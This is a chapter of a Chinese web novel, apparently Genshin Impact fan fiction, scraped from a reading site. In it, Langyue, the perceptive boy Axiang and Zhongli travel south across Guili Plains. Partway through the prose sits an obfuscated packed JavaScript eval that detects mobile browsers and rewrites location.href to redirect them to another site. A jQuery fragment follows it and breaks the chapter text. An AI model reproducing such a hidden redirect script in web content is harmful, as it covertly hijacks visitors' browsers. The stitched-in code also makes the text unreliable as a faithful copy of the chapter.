默认冷灰
24号文字
方正启体

17. 第 17 章 与神明同行(上)

作者:于沧南本书字数:K更新时间:
    钟离听了这话,眼里掠过一丝笑意,从善如流:“好,阿月姑娘。”


    ——其实把“姑娘”俩字省掉更好。朗樾忍了又忍,才没把这句话说出口。


    “这位是阿响。”她侧身,把蹲在地上的少年指给他看,语气尽量自然,“他……在客栈帮过我不少忙,这次也想一起去璃月港看看。”


    说得有点含糊。毕竟她也不知道怎么解释——说好一个人,怎么又冒出来一个。


    阿响这才慢吞吞站起来,空茫的视线落在钟离身上。没问好,没行礼,就那么静静看着。


    钟离的目光在他脸上那几块新鲜的青紫上停了一瞬,随即露出平和的笑意:“原来如此。既是阿月姑娘的同伴,自然欢迎同行。我名钟离,此行往璃月港去,路上有劳小友照应了。”


    他说得自然而然,好像阿响的加入根本不叫事儿。


    阿响听着,没什么表情。直到钟离说完,他才眨了眨眼,像刚处理完听到的信息,然后用一种陈述事实的语气开口:


    “你……好重。”


    朗樾一愣。


    钟离眉梢微不可察地动了一下,笑容没变:“哦?小友此言何解?”


    阿响想了想,摇摇头,目光扫过钟离周身,语气依旧平直:“不知道。就是感觉。你站在这儿,像……像一整座山坐那儿,把周围的‘声音’都压静了。”


    他顿了顿,又补了一句:“但山是好的山。”


    这话没头没尾,古怪得要命。朗樾听得云里雾里,但一想到钟离真正的身份……


    她下意识紧张起来,飞快瞥了钟离一眼。


    钟离却没生气,也没惊讶。他反而颇感兴趣地看着阿响,眼中闪过一丝思索,随即化为了然,轻轻颔首:“原来如此。小友感知敏锐,所言虽异,却别有意趣。山石厚重,自是静默。”


    见他这么坦然,朗樾刚提起的那点紧张也散了。就当阿响又说了句听不懂的呓语吧。


    阿响见钟离好像明白了(或者说,接受)他的话,便不再开口,重新低下头,恢复成往常安静的样子。


    钟离也不再深究,转向朗樾,语气如常:“时辰不早,我们启程吧。今日需穿过荻花洲南部,向东南方向,午后可达归离原中部。”他拍了拍身旁的驮兽,“行李可以让它驮着,二位轻装简从即可。”


    他没问阿响为什么突然加入,也没对他脸上的伤和怪话表现出太多好奇。那份自然而然的接纳里,带着一种见惯世事的从容。


    朗樾松了口气。但又隐约觉得,在这份从容之下,好像一切都被无声地看过了。


    阿响默默走到她身边,两人一起跟上钟离的步伐。驮兽打了个响鼻,迈开步子。


    于是他们离开望舒客栈脚下那片渐渐醒来的喧闹,踏上了往南的路。


    这条路从客栈广场延伸出去,宽阔,土质硬实,被无数车辙和脚印磨得发亮。


    几乎刚迈步,就汇入了稀疏却持续的人流里。前头十几步外,是个三头驮兽的小商队,蹄声哒哒;身后不远,两个背着竹篓的行商正低声聊着今天的行情。


    朗樾本能地绷了一下,但马上意识到——这些人只是匆匆瞥她一眼,最多好奇地看看钟离的气度,或者打量一下她和阿响这对奇怪的组合,然后很快就移开目光,赶自己的路去了。


    没人停下盘问。没人有敌意。


    阿响走在她侧后方,对这些人和事的接受度明显比她高得多。大概平时跑腿打杂时早就见怪不怪了。


    走出一里多地,客栈岩壁的压迫感才慢慢被旷野取代,但路上的人一直没断过。他们超过几个步行的旅人,也被一队驮着物资的驮队超过。风还是吹着归离原的荒草,但风里夹着人声、驮铃声、车轮声——全是活气。


    等周围的风景和人都看习惯了,朗樾忍不住偷偷观察前头钟离的背影。


    想从那沉稳的姿态里,看出几分“岩王帝君”的影子。但又觉得,他和路上任何一个见多识广的旅人没什么不同——除了那份过于沉静的气度。


    阿响一直很安静。大多数时候目光落在前头的小路上,偶尔抬起,扫过两旁的芦苇,眼神空茫,不知在想什么。只有钟离偶尔停下,指着某处说个地名或典故时(那些名字朗樾在游戏里都听过),他才会微微偏头,好像在听,又好像只是让声音从耳边流过。


    走了大概一个时辰,太阳完全跳出来,驱散了最后的雾气。钟离在一处地势稍高、靠近水边的干土坡停下,让驮兽喝水,也让他们歇歇脚。


    朗樾找了块石头坐下,揉发酸的小腿。阿响没坐,蹲在水边,伸手撩水玩。


    “阿响。”她压低声音问,“昨晚……后来没事吧?”指的是他脸上的伤。


    阿响摇摇头,没说话。


    过一会儿,他忽然指向水泽对面一片看起来更密、压根不像有路的地方:“走那边。”


    “嗯?”朗樾一愣。


    “那边。”阿响重复,语气没起伏,“水下面的‘路’更平,没有坑。这边的‘光’是扭着的,走过去脚会陷。”


    朗樾顺着他指的方向看过去——那根本看不出有路。她迟疑地看向正在喂驮兽的钟离。


    钟离显然听到了。他直起身,朝阿响指的方向看了片刻,又低头看看脚下那条被踩得明明白白的小路。眼中掠过一丝思索,然后颔首:


    “芦苇新折的痕迹很少,看似没路。但水泽之地,表面常骗人。阿响小友既然有感觉,不妨一试。”


    他居然信了。


    于是他们偏离了那条明显的土路,跟着阿响,小心翼翼蹚过一片浅水,拨开看似密不透风的芦苇丛。


    脚下果然是硬的——铺着细碎卵石的浅滩,走起来比之前那段泥泞小径稳当多了。芦苇丛后头,还真连着一条被高高苇秆半遮着的干土埂,蜿蜒往南。


    “小友对野外路径,倒是敏锐。”钟离走在后头,语气温和,听不出是随口夸还是别有深意。


    阿响走最前头,闻言脚步没停,只含糊“嗯”了一声。过了几秒,才又低声补了一句:“不是直觉……是‘看’见的。地是硬的,‘光’就顺;地是软的,‘光’就乱。”


    他好像不觉得自己说的话有什么特别,只是把自己“看”到的东西说出来而已。


    朗樾心又提起来。她看向钟离。


    钟离脸上没什么异样,只是点点头,好像阿响说的是“看云识天气”这种平常事。


    “天地万物,各有其理,亦有其‘象’。能窥见‘象’者,确非常人。”他顿了顿,像是随口一问,“此等目力,是天生的,还是后来学的?”


    阿响停下脚步。好像被这问题难住了。


    他站在土埂上,回头看了钟离一眼。那双空茫的眼睛里,头一回露出清晰的困惑。


    想了想,慢慢摇头:“不知道……一直都能看见。从小。”


    说完,他不再理会这个问题,转身继续往南走。


    钟离没再追问。但那双平静的目光,在阿响瘦削的背影上多停了一息。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307622|198725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重新上路后,气氛好像有点变了。


    钟离话比之前稍多,不再只是介绍风物,偶尔会问阿响一些看似随便的问题。比如“平时做什么活?”“在客栈见过什么特别的人?”


    问题都很平常。阿响的回答简短、直接,有时候还答非所问,透着一种和这个社会格格不入的劲儿。


    朗樾在一旁听着,心里那点不安又浮上来。


    她有种感觉——钟离好像正在用一种她看不懂的方式,“读”着阿响。


    而阿响,就像一本摊开的、却用另一种语言写的书。他每一句诚实的回答,都在向这位神明揭开自己更深处的异常。


    中午,他们在归离原中部一片有树的草地歇脚,吃了点干粮。朗樾拿出自己省下的饼,分给阿响一半。钟离则从驮兽背上的箱笼里取出一个精致的竹筒,里面是清香的茶,还给他们一人倒了一杯。


    饭后,钟离提议小憩片刻。朗樾靠着一棵树干闭上眼,疲惫和暖洋洋的日光让她意识慢慢模糊。


    半梦半醒间,好像听到阿响在很近的地方,用极轻的、梦呓般的声音说着什么:


    “……天边的云……在唱歌……”


    她一个激灵,醒了。


    睁开眼,阿响就坐在她旁边不远处,背对着她,面朝北方。


    朗樾回想游戏里的地图——北边,穿过归离原和荻花洲,是石门,是……去蒙德的路。


    他的侧脸在斑驳树影里有些虚幻,眼神空远得像穿透了云层,看向极远的地方。


    朗樾心里忽然明白了:“阿响,你一直说的北……是靠近蒙德那边?”


    阿响转过脸看她,皱了皱眉。半晌,点了点头。


    “是的。那边的人管那里叫蒙德。”


    他没再多说。


    朗樾顺着他目光的方向看过去——只有大片大片慢慢飘着的、普通的积云。


    不知为什么,她忽然有点不安。


    说不上来。也只能先放下。


    就在这时,原本闭眼养神的钟离,不知什么时候也睁开了眼。


    他的目光平静地落在阿响望向北方的背影上。那双金色的眼睛里没有睡意,只有深潭般的沉静,和一丝好像早就知道什么的了然。


    风吹过草地,送来远方模糊的声音——像是野兽,又像是风穿过石缝的呜咽。很轻,一下就没了。


    声音传来的方向,好像是他们将要去的东南边。


    朗樾看到钟离的耳朵几不可察地动了一下。他的视线从阿响身上,慢慢移向那声音传来的地方。


    眉头微微蹙起一下,随即又松开,好像只是确认了什么无关紧要的事。


    他什么也没说,重新闭上眼,像真的在休息。


    朗樾却再也平静不下来。


    她抱着膝盖,看着阿响依旧望向北边的侧影,又看看好像睡着了钟离,陷进一种深深的茫然里。


    ——


    好在没茫然太久。


    “歇息得差不多了。”钟离温和的声音响起,他已经站起身,拂了拂衣摆上并不存在的灰,“午后日头渐毒,趁凉快多赶一程。”


    语气稀松平常,好像刚才那阵沉默和远处的呜咽,都只是路上最普通的插曲。


    朗樾连忙应了一声,站起来,又下意识看向阿响。


    阿响还望着北边。


    直到她轻轻拉了一下他的袖子,他才像突然回过神一样转过头。那双空茫的眼睛慢慢聚焦在她脸上,然后默默起身,背好他的小布包。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)